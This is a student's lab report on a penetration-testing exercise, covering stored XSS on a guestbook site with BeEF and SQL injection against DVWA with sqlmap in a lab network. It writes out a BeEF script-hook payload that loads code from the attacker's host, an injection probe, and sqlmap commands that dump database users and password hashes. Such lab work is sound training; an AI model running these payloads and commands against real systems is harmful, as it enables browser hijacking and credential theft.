網路滲透測試實驗三——XSS和SQL隱碼攻擊

MJ_1900301430發表於2020-12-05

網路滲透測試實驗三——XSS和SQL隱碼攻擊

實驗目的

瞭解什麼是XSS;瞭解XSS攻擊實施,理解防禦XSS攻擊的方法;瞭解SQL隱碼攻擊的基本原理;掌握PHP指令碼訪問MySQL資料庫的基本方法;掌握程式設計中避免出現SQL隱碼攻擊漏洞的基本方法;掌握網站配置。

系統環境

Kali Linux 2、Windows Server

網路環境

交換網路結構

實驗工具

Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

實驗步驟

XSS部分

利用Beef劫持被攻擊者客戶端瀏覽器。
實驗環境搭建。
角色:留言簿網站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻擊者:Kali(使用beEF生成惡意程式碼,並通過留言方式提交到留言簿網站);
被攻擊者:訪問留言簿網站,瀏覽器被劫持。

1.利用AWVS掃描留言簿網站(安裝見參考文件0.AWVS安裝與使用.docx),發現其存在XSS漏洞,截圖。

使用Windows Server 2003建立留言簿網站,如圖。
在這裡插入圖片描述

用AWVS掃描後其存在的XSS漏洞如下圖。
在這裡插入圖片描述

2 Kali使用beef生成惡意程式碼,截圖。

使用如下程式碼

apt-get install beef-xss

安裝beEF。
安裝成功後進入etc/beef-xss開啟config.yaml修改預設的賬號密碼(不能用預設賬號密碼,直接使用會報錯)。
在這裡插入圖片描述
完成後儲存退出。
輸入以下程式碼

cd /usr/share/beef-xss
./beef

待其載入完成後生成的惡意程式碼如下。
在這裡插入圖片描述

3.訪問 http://留言簿網站/message.asp ;將以下惡意程式碼寫入網站留言板,截圖。

<script src="http://Kali的IP地址:3000/hook.js"></script>

在這裡插入圖片描述

4.管理員登入login.htm,賬號密碼均為admin,稽核使用者留言。只要客戶端訪問這個伺服器的留言板,客戶端瀏覽器就會被劫持,指定被劫持網站為學校主頁,將你在beef中的配置截圖。

kali中開啟如下網址,輸入剛才修改的賬號密碼登入。
在這裡插入圖片描述
beef中配置截圖如下(指定被劫持網站為Baidu)。
在這裡插入圖片描述

5.回答問題:實驗中XSS攻擊屬於哪種型別?

屬於儲存型XSS攻擊

SQL隱碼攻擊部分:DVWA+SQLmap+Mysql注入實戰

實驗環境搭建。啟動Metasploitable2虛擬機器(IP為192.168.134.129)。

1.注入點發現。首先肯定是要判斷是否有注入漏洞。

在輸入框輸入1,返回
ID: 1
First name: admin
Surname: admin

返回正常;
1

再次輸入1’,報錯,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
請新增圖片描述

此時可以斷定有SQL隱碼攻擊漏洞。
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap進行注入攻擊。將DVWA安全級別設定為最低。
請新增圖片描述
在瀏覽器中按F12找到Storage中的Cookie即可。

security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd

請新增圖片描述

2.列舉當前使用的資料庫名稱和使用者名稱。

2

你輸入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' -b  --current-db  --current-user

Sqlmap輸出截圖。
在這裡插入圖片描述

3.列舉資料庫使用者名稱和密碼

你輸入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" --users --password

Sqlmap輸出截圖。
在這裡插入圖片描述

4.列舉資料庫

–dbs:列舉當前資料庫
你輸入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -dbs

Sqlmap輸出截圖。
在這裡插入圖片描述

5.列舉資料庫和指定資料庫的資料表

-D 資料庫名:指定資料庫
–tables:列舉指定資料庫的所有表
你輸入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa --tables

Sqlmap輸出截圖。
(該題及以下題目的截圖原圖丟失,重新做了一遍,所以截圖的IP和cookie的PHPSESSID會有不同)
在這裡插入圖片描述

6.獲取指定資料庫和表中所有列的資訊

-D:指定的資料庫
-T:指定資料庫中的資料表
–columns:獲取列的資訊
你輸入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa -T users --columns

Sqlmap輸出截圖。
在這裡插入圖片描述

7.列舉指定資料表中的所有使用者名稱與密碼,並down到本地。

-C:列舉資料表中的列
–dump:儲存資料表項
你輸入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa -T users -C user,password --dump

Sqlmap輸出截圖。
在這裡插入圖片描述

檢視down到本地的使用者名稱與密碼,截圖。(提示帶.的資料夾為隱藏,在圖形命令下,用檔案瀏覽器開啟資料夾,按下ctrl+h組合鍵可顯示隱藏檔案合資料夾,再按一次取消顯示。)
在這裡插入圖片描述
在這裡插入圖片描述

實驗小結

本次實驗應用:

  1. 使用Windows Server搭建留言簿網站
  2. 發現XSS漏洞,BeEF劫持留言簿網站
  3. SQL命令使用

對我來說,這次實驗相比前面的難度確實要稍高些。長路漫漫,繼續加油吧。

相關文章